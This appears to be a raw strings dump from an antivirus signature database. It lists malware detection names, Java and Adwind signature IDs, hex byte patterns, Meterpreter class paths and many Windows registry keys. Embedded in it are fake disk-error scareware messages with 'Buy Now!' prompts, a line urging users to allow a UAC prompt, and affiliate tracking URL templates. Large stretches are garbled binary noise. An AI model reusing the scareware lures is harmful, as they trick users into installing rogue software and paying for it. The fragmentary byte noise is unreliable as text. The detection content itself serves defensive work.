/sdm64.exe /fpss2.exe \\syskeya.exe \\wpnpinsta.exe \\presentationsettingsa.exe \\efsuib.exe \\bitsadminb.exe \\bitsadminb.exe] !Neeris.BF Rogue:BAT/FakePAV /every:m,t,w,th,f,s,sumshta.exehttp:// 6/every:m,t,w,th,f,s,sumshta.exehttp://  .php?olala= aSirefef.gen!C IDE\\[cmz vmkd] !Harnig.gen!E aAlureon.O !Koobface.AO Killav.V !Ldpinch.CV !Pushbot.TU !Mooplids.A GET tD POSTt< .dllG !Oficla.V Rogue:HTML/FakeRean id=closewebpage><ahref=\"http://127.0.0.1:27777/?inj=http:// =id=closewebpage><ahref=\"http://127.0.0.1:27777/?inj=http:// !FakeSysdef  0$0$! 0>c_1 wM0>0 .exe.tmp 06http://  ?type=stats&affid= &subid= &awok 0Jsoftware\\ windows\\ currentversion\\ policies\\ C:\\Documents and Settings\\All Users\\Application Data\\ 0>C:\\Documents and Settings\\All Users\\Application Data\\ 04http:// 0.org/404.php?type=stats&affid= 6hp@h ,HDDRepair module activ &Run Defragmentation activation code *for your purchase, %s PC is in danger &scan your hard drivg ?--}~ IU02# IU0S( IU0g^ p0vPd z|t,n QAQ/S .J9oOV g=<NN? g=<NN?`  <NN?g rotef H83a5f83b-5aa7-4fa7-bbf5-63829add296e rootkit__ 3Uf3D$ stats&affid=%s&subid=%s&i hard drive error occurred Processing Message 0x0000013 Parametersx \\fcrypt\\Release\\S\\s_high.pdb :\\src\\ \\Release\\S\\ Nrecommended that you restart the system adw: terminate %lu ok @Install %s software (recomended) %s is professional software toolkit designed to detect, identify and fix hardware memory related problemsx avoid data loss it is highly recommended to run System Repair Wizard svchost.exe - Corrupt Disk %s%s/%s?p=%s&aid=%s&sid=%s&hash=%s&product=%s Checking S.M.A.R.T. attributes... physical resources of this disk have been exhausted. The device is unreachablex __exe_url__  __exe_download__ detected a problem with one or more installed IDE / SATA hard disks l.php?type=stats&affid=%s&subid=%s&version=%s&installok l[Your disk is in a critical state. Click here for more \"%s\\%s_License.txtx Exe file is corrupted and can't be run. Hard drive scan required VClick %tb[\"Allow\"] when UAC screen appears hDefragHDDRepair module activation required to enable %s performance issues found. Click %%tl[here] to start perfomance & stability optimization. readdatagateway.php?type=stats&affid=%s `DefragHDDRepair tool can fix detected hard drive Defragmenter Diagnostics Run Defragmentation Buy Now! readdatagateway.php?type= %s/%s/%s-direct.exe 8856F961-340A-11D0-A96B-00C04FD705A2 83a5f83b-5aa7-4fa7-bbf5-63829add296e 625773d0-1eb5-4879-8322-8bdc33d9d4fe 9cf2592c-1832-4358-a0fc-26d6a0c29808 d8bb5910-2d85-489b-8403-803ed25e73bc f7c5da73-b4a5-4947-8f40-08f2871eb36b searchfindfix.org searchmemory.org <?pid=%s&id=%s&subid=%s&guid=%s Hard drive clusters are partly damaged. Segment load failure RAM memory reliability is extremely low. This problem may cause system failure \"//%s/%s/%s-direct B.php?type=stats&affid=%s&subid=%s <Windows - Delayed Write Failed _exe_url__ _exe_download__~ L3(|5 UcI\t{2U A^R;c n7^Rp '\"=\t` ture:M:139 !#HSTR:JAVA:Feature:M:142 !#HSTR:JAVA:Feature:M:143 !#HSTR:JAVA:Feature:M:147 !#HSTR:JAVA:Feature:M:148 !#HSTR:JAVA:Feature:M:150 !#HSTR:JAVA:Feature:M:152 !#HSTR:JAVA:Feature:M:155 !#HSTR:JAVA:Feature:M:157 !#HSTR:JAVA:Feature:M:158 !#HSTR:JAVA:Feature:M:159 !#HSTR:JAVA:Feature:M:160 !#HSTR:JAVA:Feature:M:168 !#HSTR:JAVA:Feature:M:169 !#HSTR:JAVA:Feature:M:170 !#HSTR:JAVA:Feature:M:174 !#HSTR:JAVA:Feature:M:176 !#HSTR:JAVA:Feature:M:177 !#HSTR:JAVA:Feature:M:178 !#HSTR:JAVA:Feature:M:182 !#HSTR:JAVA:Feature:M:184 !#HSTR:JAVA:Feature:M:185 !#HSTR:JAVA:Feature:M:186 !#HSTR:JAVA:Feature:M:188 !#HSTR:JAVA:Feature:M:191 !#HSTR:JAVA:Feature:M:192 !#HSTR:JAVA:Feature:M:196 !#HSTR:JAVA:Feature:M:198 !#HSTR:JAVA:Feature:M:199 !#HSTR:JAVA:Feature:M:201 !#HSTR:JAVA:Feature:M:202 !#HSTR:JAVA:Feature:M:205 !#HSTR:JAVA:Feature:M:206 !#HSTR:JAVA:Feature:M:207 !#HSTR:JAVA:Feature:M:209 !#HSTR:JAVA:Feature:M:210 !#HSTR:JAVA:Feature:M:211 !#HSTR:JAVA:Feature:M:212 !#HSTR:JAVA:Feature:M:213 !#HSTR:JAVA:Feature:M:218 !#HSTR:JAVA:Feature:M:220 !#HSTR:JAVA:Feature:M:222 !#HSTR:JAVA:Feature:M:223 !#HSTR:JAVA:Feature:M:229 !#HSTR:JAVA:Feature:M:230 !#HSTR:JAVA:Feature:M:231 !#HSTR:JAVA:Feature:M:232 !#HSTR:JAVA:Feature:M:233 !#HSTR:JAVA:Feature:M:238 !#HSTR:JAVA:Feature:M:243 !#HSTR:JAVA:Feature:M:246 !#HSTR:JAVA:Feature:M:249 !#HSTR:JAVA:Feature:M:250 !#HSTR:JAVA:Feature:M:253 !#HSTR:JAVA:Feature:M:254 !#HSTR:JAVA:Feature:M:255 !#HSTR:JAVA:Feature:M:260 !#HSTR:JAVA:Feature:M:261 !#HSTR:JAVA:Feature:M:264 !#HSTR:JAVA:Feature:M:267 !#HSTR:JAVA:Feature:M:270 !#HSTR:JAVA:Feature:M:271 !#HSTR:JAVA:Feature:M:272 !#HSTR:JAVA:Feature:M:273 !#HSTR:JAVA:Feature:M:275 !#HSTR:JAVA:Feature:M:277 !#HSTR:JAVA:Feature:M:278 !#HSTR:JAVA:Feature:M:280 !#HSTR:JAVA:Feature:M:281 !#HSTR:JAVA:Feature:M:282 !#HSTR:JAVA:Feature:M:287 !#HSTR:JAVA:Feature:M:288 !#HSTR:JAVA:Feature:M:290 !#HSTR:JAVA:Feature:M:292 !#HSTR:JAVA:Feature:M:294 !#HSTR:JAVA:Feature:M:298 !#HSTR:JAVA:Feature:M:299 !#HSTR:JAVA:Feature:M:300 !#HSTR:JAVA:Feature:M:302 !#HSTR:JAVA:Feature:M:304 !#HSTR:JAVA:Feature:M:308 !#HSTR:JAVA:Feature:M:311 !#HSTR:JAVA:Feature:M:313 !#HSTR:JAVA:Feature:M:314 !#HSTR:JAVA:Feature:M:315 !#HSTR:JAVA:Feature:M:320 !#HSTR:JAVA:Feature:M:321 !#HSTR:JAVA:Feature:M:322 !#HSTR:JAVA:Feature:M:323 !#HSTR:JAVA:Feature:M:324 !#HSTR:JAVA:Feature:M:325 !#HSTR:JAVA:Feature:M:326 !#HSTR:JAVA:Feature:M:327 !#HSTR:JAVA:Feature:M:328 !#HSTR:JAVA:Feature:M:332 !#HSTR:JAVA:Feature:M:333 !#HSTR:JAVA:Feature:M:336 !#HSTR:JAVA:Feature:M:339 !#HSTR:JAVA:Feature:M:341 !#HSTR:JAVA:Feature:M:343 !#HSTR:JAVA:Feature:M:344 !#HSTR:JAVA:Feature:M:346 !#HSTR:JAVA:Feature:M:347 !#HSTR:JAVA:Feature:M:348 !#HSTR:JAVA:Feature:M:349 !#HSTR:JAVA:Feature:M:350 !#HSTR:JAVA:Feature:M:352 !#HSTR:JAVA:Feature:M:353 !#HSTR:JAVA:Feature:M:355 !#HSTR:JAVA:Feature:M:357 !#HSTR:JAVA:Feature:M:358 !#HSTR:JAVA:Feature:M:359 !#HSTR:JAVA:Feature:M:363 !#HSTR:JAVA:Feature:M:364 !#HSTR:JAVA:Feature:M:365 !#HSTR:JAVA:Feature:M:368 !#HSTR:JAVA:Feature:M:371 !#HSTR:JAVA:Feature:M:372 !#HSTR:JAVA:Feature:M:374 !#HSTR:JAVA:Feature:M:377 !#HSTR:JAVA:Feature:M:381 !#HSTR:JAVA:Feature:M:382 !#HSTR:JAVA:Feature:M:383 !#HSTR:JAVA:Feature:M:384 !#HSTR:JAVA:Feature:M:385 !#HSTR:JAVA:Feature:M:387 !#HSTR:JAVA:Feature:M:391 !#HSTR:JAVA:Feature:M:393 !#HSTR:JAVA:Feature:M:394 !#HSTR:JAVA:Feature:M:399 !#HSTR:JAVA:Feature:M:402 !#HSTR:JAVA:Feature:M:403 !#HSTR:JAVA:Feature:M:405 !#HSTR:JAVA:Feature:M:406 !#HSTR:JAVA:Feature:M:408 !#HSTR:JAVA:Feature:M:411 !#HSTR:JAVA:Feature:M:412 !#HSTR:JAVA:Feature:M:413 !#HSTR:JAVA:Feature:M:414 !#HSTR:JAVA:Feature:M:415 !#HSTR:JAVA:Feature:M:417 !#HSTR:JAVA:Feature:M:420 !#HSTR:JAVA:Feature:M:422 !#HSTR:JAVA:Feature:M:423 !#HSTR:JAVA:Feature:M:424 !#HSTR:JAVA:Feature:M:425 !#HSTR:JAVA:Feature:M:430 !#HSTR:JAVA:Feature:M:431 !#HSTR:JAVA:Feature:M:432 !#HSTR:JAVA:Feature:M:433 !#HSTR:JAVA:Feature:M:436 !#HSTR:JAVA:Feature:M:439 !#HSTR:JAVA:Feature:M:440 !#HSTR:JAVA:Feature:M:441 !#HSTR:JAVA:Feature:M:442 !#HSTR:JAVA:Feature:M:445 !#HSTR:JAVA:Feature:M:448 !#HSTR:JAVA:Feature:M:449 !#HSTR:JAVA:Feature:M:450 !#HSTR:JAVA:Feature:M:451 !#HSTR:JAVA:Feature:M:453 !#HSTR:JAVA:Feature:M:454 !#HSTR:JAVA:Feature:M:455 !#HSTR:JAVA:Feature:M:456 !#HSTR:JAVA:Feature:M:458 !#HSTR:JAVA:Feature:M:460 !#HSTR:JAVA:Feature:M:461 !#HSTR:JAVA:Feature:M:462 !#HSTR:JAVA:Feature:M:464 !#HSTR:JAVA:Feature:M:467 !#HSTR:JAVA:Feature:M:468 !#HSTR:JAVA:Feature:M:472 !#HSTR:JAVA:Feature:M:474 !#HSTR:JAVA:Feature:M:475 !#HSTR:JAVA:Feature:M:476 !#HSTR:JAVA:Feature:M:479 !#HSTR:JAVA:Feature:M:485 !#HSTR:JAVA:Feature:M:486 !#HSTR:JAVA:Feature:M:488 !#HSTR:JAVA:Feature:M:494 !#HSTR:JAVA:Feature:M:495 !#HSTR:JAVA:Feature:M:496 !#HSTR:JAVA:Feature:M:497 !#HSTR:JAVA:Feature:M:499 !#HSTR:JAVA:Feature:M:501 !#HSTR:JAVA:Feature:M:505 !#HSTR:JAVA:Feature:M:506 !#HSTR:JAVA:Feature:M:507 !#HSTR:JAVA:Feature:M:508 !#HSTR:JAVA:Feature:M:511 !#HSTR:JAVA:Feature:M:514 !#HSTR:JAVA:Feature:M:515 !#HSTR:JAVA:Feature:M:516 !#HSTR:JAVA:Feature:M:521 !#HSTR:JAVA:Feature:M:522 !#HSTR:JAVA:Feature:M:523 !#HSTR:JAVA:Feature:M:524 !#HSTR:JAVA:Feature:M:525 !#HSTR:JAVA:Feature:M:527 !#HSTR:JAVA:Feature:M:528 !#HSTR:JAVA:Feature:M:532 !#HSTR:JAVA:Feature:M:533 !#HSTR:JAVA:Feature:M:534 !#HSTR:JAVA:Feature:M:535 !#HSTR:JAVA:Feature:M:536 !#HSTR:JAVA:Feature:M:541 !#HSTR:JAVA:Feature:M:542 !#HSTR:JAVA:Feature:M:547 !#HSTR:JAVA:Feature:M:550 !#HSTR:JAVA:Feature:M:552 !#HSTR:JAVA:Feature:M:553 !#HSTR:JAVA:Feature:M:554 !#HSTR:JAVA:Feature:M:555 !#HSTR:JAVA:Feature:M:557 !#HSTR:JAVA:Feature:M:558 !#HSTR:JAVA:Feature:M:561 !#HSTR:JAVA:Feature:M:563 !#HSTR:JAVA:Feature:M:565 !#HSTR:JAVA:Feature:M:567 !#HSTR:JAVA:Feature:M:571 !#HSTR:JAVA:Feature:M:572 !#HSTR:JAVA:Feature:M:574 !#HSTR:JAVA:Feature:M:578 !#HSTR:JAVA:Feature:M:579 !#HSTR:JAVA:Feature:M:580 !#HSTR:JAVA:Feature:M:583 !#HSTR:JAVA:Feature:M:584 !#HSTR:JAVA:Feature:M:585 !#HSTR:JAVA:Feature:M:586 !#HSTR:JAVA:Feature:M:589 !#HSTR:JAVA:Feature:M:590 !#HSTR:JAVA:Feature:M:591 !#HSTR:JAVA:Feature:M:594 !#HSTR:JAVA:Feature:M:595 !#HSTR:JAVA:Feature:M:596 !#HSTR:JAVA:Feature:M:597 !#HSTR:JAVA:Feature:M:599 !#HSTR:JAVA:Feature:M:600 !#HSTR:JAVA:Feature:M:602 !#HSTR:JAVA:Feature:M:604 !#HSTR:JAVA:Feature:M:605 !#HSTR:JAVA:Feature:M:606 !#HSTR:JAVA:Feature:M:608 !#HSTR:JAVA:Feature:M:609 !#HSTR:JAVA:Feature:M:610 !#HSTR:JAVA:Feature:M:611 !#HSTR:JAVA:Feature:M:615 !#HSTR:JAVA:Feature:M:616 !#HSTR:JAVA:Feature:M:617 !#HSTR:JAVA:Feature:M:619 !#HSTR:JAVA:Feature:M:620 !#HSTR:JAVA:Feature:M:621 !#HSTR:JAVA:Feature:M:622 !#HSTR:JAVA:Feature:M:623 !#HSTR:JAVA:Feature:M:626 !#HSTR:JAVA:Feature:M:627 !#HSTR:JAVA:Feature:M:629 !#HSTR:JAVA:Feature:M:630 !#HSTR:JAVA:Feature:M:631 !#HSTR:JAVA:Feature:M:632 !#HSTR:JAVA:Feature:M:637 !#HSTR:JAVA:Feature:M:638 !#HSTR:JAVA:Feature:M:640 !#HSTR:JAVA:Feature:M:641 !#HSTR:JAVA:Feature:M:645 !#HSTR:JAVA:Feature:M:647 !#HSTR:JAVA:Feature:M:650 !#HSTR:JAVA:Feature:M:652 !#HSTR:JAVA:Feature:M:653 !#HSTR:JAVA:Feature:M:659 !#HSTR:JAVA:Feature:M:660 !#HSTR:JAVA:Feature:M:661 !#HSTR:JAVA:Feature:M:662 !#HSTR:JAVA:Feature:M:663 !#HSTR:JAVA:Feature:M:668 !#HSTR:JAVA:Feature:M:670 !#HSTR:JAVA:Feature:M:674 !#HSTR:JAVA:Feature:M:675 !#HSTR:JAVA:Feature:M:676 !#HSTR:JAVA:Feature:M:678 !#HSTR:JAVA:Feature:M:679 !#HSTR:JAVA:Feature:M:680 !#HSTR:JAVA:Feature:M:681 !#HSTR:JAVA:Feature:M:682 !#HSTR:JAVA:Feature:M:683 !#HSTR:JAVA:Feature:M:684 !#HSTR:JAVA:Feature:M:685 !#HSTR:JAVA:Feature:M:686 !#HSTR:JAVA:Feature:M:688 !#HSTR:JAVA:Feature:M:690 !#HSTR:JAVA:Feature:M:695 !#HSTR:Java/inflate.A inflate !#Base64_DumpJavaClass yv66vgAA !#HSTR:JAVA:Feature:C:194 depen !#HSTR:JAVA:Feature:C:317 ingle !#HSTR:JAVA:Feature:C:318 ionlj !#HSTR:JAVA:Feature:M:173 ninth !#HSTR:JAVA:Feature:M:189 etkpo !#HSTR:JAVA:Feature:M:219 ter&( !#HSTR:JAVA:Feature:M:265 ethod !#HSTR:JAVA:Feature:M:428 emget !#HSTR:JAVA:Feature:M:487 ime;( !#HSTR:JAVA:Feature:M:566 end-( !#ALF:Java:Adwind com/hack/Main$ !#ALFPER:HSTR:JvBanload.T squirrel123 !#Base64_DumpJavaSerializedClass rO0ABXVy !#ALF:HSTR:Trojan:Java/Adwind.AP!bit !#SLF:Java/Meterpreter.A (Lcom/metasploit/meterpreter/ !#ALF:HSTR:Trojan:Java/Adwind.AM!bit Loperational/JRat; !#ALF:HSTR:Trojan:Java/Adwind.AR!bit 5bqc0eu382hckds9ub !#java:do_deep_rescan !#HSTR:CVE-2010-0840_Sig !#Exploit:Java/PrevalentPattern 153615BC3ABB59B73A123612361515A0 !#ALF:HSTR:Trojan:Java/Adwind.AQ!bit 1e7skijgl7n6iflppd4aprf7qgb 124CBB592AB7B6B64B2A2B12B64B2AB8B0 1536190332B6B6B8B83A123612361515A0 1904321903322AB62D2CB82AB62D2CB8A7 19B619B6B8BB59B712B8B612B6B6B657A7 5911105459111054591110545911105459 BB59B719B62D1C32B8046092B6B63A84A7 com/metasploit/meterpreter/stdapi/stdapi_ 153619B619073203BDB63A123612361515A0 153619B619073203BDB63A133613361515A0 15362DBB5919B7B63AB83A123612361515A0 15362DBB5919B7B63AB83A133613361515A0 2A2BB52AB72A12B52A12B52A12B52A2CB5B1 2C1D2B051D68051D680560B610B8915484A7 59B65FB65B57B65FB6B65AB65F645A3E4D36 B215B21533B282B2649154B20460B38415A7 BB592AB6BC045958105F59BE04645B3E4C3D !#ALF:HSTR:Java:Adwind!enc.1 !#ALF:HSTR:Java:Adwind!enc.2 15362B2AB63A113615116836123612361515A0 2DB83A2A2B190319BEB8B6572A2B04B63A19B0 \\y? - Y? ;G 3H? ]w J;k? gJ;k? h f8? Q ~b? H 6[? < cmX; ,cmX; 'I\\H> 3V]o? Z7'? oZ7'? 0wL? 0wL? a 3| ? 3| ? N 4-? . 6=N6[? U>5'? ev;%s? d]o? d]o? a 89H?\t > &,89H?\t ?@g]o? W`Bar? bo7'? n[{q? xd?k? 8zl6l -3? < u\"a? 6W? - \\Ec? <? 3+ >?<3-? rs:cL? eyroot VSYSTEM\\CurrentControlSet\\Control\\DeviceClasses\\{AD498944-762F-11D0-8DCB-00C04FC3358C} VSYSTEM\\CurrentControlSet\\control\\deviceclasses\\{53f56307-b6bf-11d0-94f2-00a0c91efb8b} VSYSTEM\\CurrentControlSet\\control\\deviceclasses\\{dda54a40-1e4c-11d1-a050-405705c10000} VSYSTEM\\CurrentControlSet\\control\\deviceclasses\\{f18a0e88-c30c-11d0-8815-00a0c906bed8} Vsystem\\currentcontrolset\\control\\deviceclasses\\{4afa3d53-74a7-11d0-be5e-00a0c9062857} Vsystem\\currentcontrolset\\control\\deviceclasses\\{4d36e978-e325-11ce-bfc1-08002be10318} Vsystem\\currentcontrolset\\control\\deviceclasses\\{53172480-4791-11d0-a5d6-28db04c10000} 4clsid\\{ecabb0be-7f19-11d2-978e-0000f8757e2a}\\ProgID HCrmRecoveryClerk.CrmRecoveryClerk.1 <CLSID\\{000C1094-0000-0000-C000-000000000046}\\InprocServer32 8C:\\Windows\\system32\\msi.dll <CLSID\\{13AA3650-BB6F-11D0-AFB9-00AA00B67A42}\\InprocServer32 8C:\\Windows\\System32\\qdv.dll <CLSID\\{2DB47AE5-CF39-43C2-B4D6-0CD8D90946F4}\\InprocServer32 8C:\\Windows\\System32\\sbe.dll <CLSID\\{4EB31670-9FC6-11CF-AF6E-00AA00B67A42}\\InprocServer32 <CLSID\\{6CFAD761-735D-4AA5-8AFC-AF91A7D61EBA}\\InprocServer32 <CLSID\\{B1B77C00-C3E4-11CF-AF79-00AA00B67A42}\\InprocServer32 <CLSID\\{C9F5FE02-F851-4EB5-99EE-AD602AF1E619}\\InprocServer32 <clsid\\{289228de-a31e-11d1-a19c-0000f875b132}\\inprocserver32 8c:\\windows\\System32\\cic.dll <clsid\\{3d112e22-62b2-11d1-9fef-00600832db4a}\\inprocserver32 <clsid\\{4150f050-bb6f-11d0-afb9-00aa00b67a42}\\inprocserver32 8C:\\WINDOWS\\system32\\qdv.dll <clsid\\{44ec053a-400f-11d0-9dcd-00a0c90391d3}\\inprocserver32 8C:\\WINDOWS\\system32\\ATL.DLL Fclsid\\{2206cdb3-19c1-11d1-89e0-00c04fd7a829}\\versionindependentprogid $MSDASCErrorLookup Fclsid\\{410381db-af42-11d1-8f10-00c04fc2c17b}\\versionindependentprogid $COMSNAP.COMNSView Fclsid\\{4662daaa-d393-11d0-9a56-00c04fb68bf7}\\versionindependentprogid $ITIR.LocalCatalog Fclsid\\{4662daae-d393-11d0-9a56-00c04fb68bf7}\\versionindependentprogid $ITIR.PropertyList Fclsid\\{4662dab0-d393-11d0-9a56-00c04fb68b66}\\versionindependentprogid $HHCtrl.SYstemSort Fclsid\\{adb880a4-d8ff-11cf-9377-00aa003b7a11}\\versionindependentprogid $HHCtrl.FileFinder Gclsid\\{ef636390-f343-11d0-9477-00c04fd36226}\\\\VersionIndependentProgID \"DBRSTPRX.AsProxy /SOFTWARE\\Microsoft\\Internet Explorer\\AboutURLs PostNotCached8res://mshtml.dll/repost.htm BSOFTWARE\\classes\\Interface\\{00000132-0000-0000-c000-000000000046} ,ILocalSystemActivator Gsoftware\\microsoft\\internet explorer\\advancedoptions\\multimedia\\animat uncheckedvalue KSOFTWARE\\Classes\\CLSID\\{00020421-0000-0000-C000-000000000046}\\InprocServer ole2disp.dll VSoftware\\Classes\\CLSID\\{00000315-0000-0000-C000-000000000046}\\DataFormats\\DefaultFile WSOFTWARE\\Classes\\clsid\\{d7fcb63b-5c55-11d1-8f00-00c04fc2c17b}\\versionindependentprogid WSoftware\\Classes\\CLSID\\{00000514-0000-0010-8000-00AA006D2EA4}\\VersionIndependentProgID Wsystem\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy\\domainprofile -CLSID\\{5cb66670-d3d4-11cf-acab-00a024a55aef} XCOM+ Extended Transaction Context Component ;CLSID\\{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}\\LocalServer32 <C:\\Windows\\System32\\mshta.exe <CLSID\\{1B544C22-FD0B-11CE-8C63-00AA0044B51F}\\InprocServer32 :C:\\Windows\\SysWOW64\\qcap.dll <CLSID\\{8596E5F0-0DA5-11D0-BD21-00A0C911CE86}\\InprocServer32 :C:\\Windows\\System32\\qcap.dll <CLSID\\{BF87B6E1-8C27-11d0-b3f0-00aa003761c5}\\InprocServer32 <clsid\\{6e8d4a20-310c-11d0-b79a-00aa003767a7}\\inprocserver32 :C:\\WINDOWS\\system32\\qdvd.dll <clsid\\{CD8743A1-3736-11d0-9E69-00C04FD7C15B}\\inprocserver32 <clsid\\{d76e2820-1563-11cf-ac98-00aa004c0fa9}\\inprocserver32 Fclsid\\{6bc098a7-0ce6-11d1-baae-00c04fc2e20d}\\versionindependentprogid &IAS.PolicyEnforcer Gclsid\\{7444C719-39BF-11D1-8CD9-00C04FC29D45}\\\\VersionIndependentProgID $CryptSig.CryptSig Gclsid\\{92ad68ab-17e0-11d1-b230-00c04fb9473f}\\\\VersionIndependentProgID $STClient.STClient 0SYSTEM\\CurrentControlSet\\Services\\RemoteStorage WindowsAPI>Network Connections Management 0system\\controlset001\\services\\netman\\parameters servicedll>c:\\windows\\System32\\netman.dll 2system\\currentcontrolset\\services\\bits\\parameters servicedll:C:\\WINDOWS\\system32\\qmgr.dll >SOFTWARE\\Classes\\AppID\\{ECABB0C3-7F19-11D2-978E-0000F8757E2A} 6ComEvents.ComServiceEvents >SOFTWARE\\Classes\\CLSID\\{00000542-0000-0010-8000-00AA006D2EA4} 6adodb error lookup service ASoftware\\Microsoft\\Windows\\CurrentVersion\\App Paths\\IEXPLORE.EXE 0C:\\WINDOWS\\iexplore.exe Dsoftware\\classes\\typelib\\{3d5905e0-523c-11d1-9fea-00600832db4a}\\1.0 *cic 1.0 Type Library ESOFTWARE\\Classes\\CLSID\\{0000050B-0000-0010-8000-00AA006D2EA4}\\ProgID (adodb.parameter.2.8 Jsystem\\controlset001\\control\\class\\{4d36e97d-e325-11ce-bfc1-08002be10318} System devices Lsoftware\\classes\\typelib\\{7988b57c-ec89-11cf-9c00-00aa00a14f56}\\1.0\\0\\win32 dskquota.dll MSOFTWARE\\Classes\\CLSID\\{07D26616-6136-11D1-8C9C-00C04FC3261D}\\InprocServer32 CLBCatQ.dll MSoftware\\Classes\\CLSID\\{00000507-0000-0010-8000-00AA006D2EA4}\\InprocServer32 msado15.dll VSOFTWARE\\Classes\\CLSID\\{00000319-0000-0000-C000-000000000046}\\DataFormats\\DefaultFile WSOFTWARE\\Classes\\clsid\\{0003000a-0000-0000-c000-000000000046}\\conversion\\readable\\main XSYSTEM\\CurrentControlSet\\control\\mediacategories\\{2bc31d69-96e3-11d2-ac4c-00c04f8efb68} XSYSTEM\\CurrentControlSet\\control\\mediacategories\\{9db7b9e0-c555-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{00dff077-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{185fede5-9905-11d1-95a9-00c04fb925d3} Xsystem\\currentcontrolset\\control\\mediacategories\\{185fede6-9905-11d1-95a9-00c04fb925d3} Xsystem\\currentcontrolset\\control\\mediacategories\\{185fedfd-9905-11d1-95a9-00c04fb925d3} Xsystem\\currentcontrolset\\control\\mediacategories\\{1ad247eb-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{1ad247ec-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{1ad247ed-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{1e84c900-7e70-11d0-a5d6-28db04c10000} Xsystem\\currentcontrolset\\control\\mediacategories\\{20173f20-c559-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{22b0eafd-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{22b0eafe-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{2721ae20-7e70-11d0-a5d6-28db04c10000} Xsystem\\currentcontrolset\\control\\mediacategories\\{2bc31d6a-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{2bc31d6b-96e3-11d2-ac4c-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{2ceaf780-c556-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{2eb07ea0-7e70-11d0-a5d6-28db04c10000} Xsystem\\currentcontrolset\\control\\mediacategories\\{3a5acc00-c557-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{41887440-c558-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{423274a0-8b81-11d1-a050-0000f8004788} Xsystem\\currentcontrolset\\control\\mediacategories\\{4d837fe0-c555-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{507ae360-c554-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{55515860-c559-11d0-8a2b-00a0c9255ac1} Xsystem\\currentcontrolset\\control\\mediacategories\\{63ff5747-991f-11d2-ac4d-00c04f8efb68} Xsystem\\currentcontrolset\\control\\mediacategories\\{65e8773d-8f56-11d0-a3b9-00a0c9223196} Xsystem\\currentcontrolset\\control\\mediacategories\\{65e8773e- server32 <clsid\\{5a580c11-e5eb-11d1-a86e-0000f8084f96}\\inprocserver32 <clsid\\{5b035261-40f9-11d1-aaec-00805fc1270e}\\inprocserver32 <clsid\\{5b18ab61-091d-11d1-97df-00c04fb9618a}\\inprocserver32 <clsid\\{5e6ab780-7743-11cf-a12b-00aa004ae837}\\inprocserver32 <clsid\\{674b6698-ee92-11d0-ad71-00c04fd8fdff}\\inprocserver32 <clsid\\{6756a641-de71-11d0-831b-00aa005b4383}\\inprocserver32 <clsid\\{675f097e-4c4d-11d0-b6c1-0800091aa605}\\inprocserver32 <clsid\\{69a25c12-1811-11d2-a52b-0000f803a951}\\inprocserver32 <clsid\\{6a01fda0-30df-11d0-b724-00aa006c1a01}\\inprocserver32 <clsid\\{6bc096bc-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{6bc096c6-0ce6-11d1-baae-00c04fc2e20d}\\inprocserver32 <clsid\\{7ba4c740-9e81-11cf-99d3-00aa004ae837}\\inprocserver32 <clsid\\{7c857801-7381-11cf-884d-00aa004b2e24}\\inprocserver32 <clsid\\{803e14a0-b4fb-11d0-a0d0-00a0c90f574b}\\inprocserver32 <clsid\\{819469d2-d0cf-11d1-8e0b-00c04fc2e0c7}\\inprocserver32 <clsid\\{8278f931-2a3e-11d2-838f-00c04fd918d0}\\inprocserver32 <clsid\\{877e4351-6fea-11d0-b863-00aa00a216a1}\\inprocserver32 <clsid\\{a9397d66-3ed3-11d1-8d99-00c04fc2e0c7}\\inprocserver32 <clsid\\{aa000926-ffbe-11cf-8800-00a0c903b83c}\\inprocserver32 <SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings <sOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced ,SYSTEM\\CurrentControlSet\\Control\\FileSystem Win31FileSystem 0system\\currentcontrolset\\control\\productoptions  productsuite 3system\\currentcontrolset\\services\\rasauto\\security 3system\\currentcontrolset\\services\\spooler\\security 6SOFTWARE\\Microsoft\\DirectDraw\\Compatibility\\Terracide 9software\\microsoft\\directdraw\\compatibility\\nhlpowerplay <SYSTEM\\CurrentControlSet\\Control\\Session Manager\\AppPatches <SYSTEM\\CurrentControlSet\\Services\\lanmanworkstation\\linkage <SYSTEM\\CurrentControlSet\\Services\\remoteaccess\\interfaces\\0 <Software\\Classes\\Wordpad.Document.1\\Protocol\\StdFileEditing anifile FriendlyTypeNameL@%SystemRoot%\\system32\\main.cpl,-2000  ADsDSOObject bOLE DB Provider for Microsoft Directory Services protocols\\handler\\mk Rmk: Asychronous Pluggable Protocol Handl .aif\\PersistentHandler N{098f2470-bae0-11cd-b579-08002b30bfeb} .aps\\PersistentHandler .asf\\PersistentHandler .bin\\PersistentHandler .cgm\\PersistentHandler .com\\PersistentHandler .dic\\PersistentHandler .eps\\PersistentHandler .eyb\\PersistentHandler .hqx\\PersistentHandler .icm\\PersistentHandler .inf\\PersistentHandler N{5e941d80-bf96-11cd-b579-08002b30bfeb} .inv\\PersistentHandler .inx\\PersistentHandler .m1v\\PersistentHandler .mmf\\PersistentHandler .mov\\persistenthandler 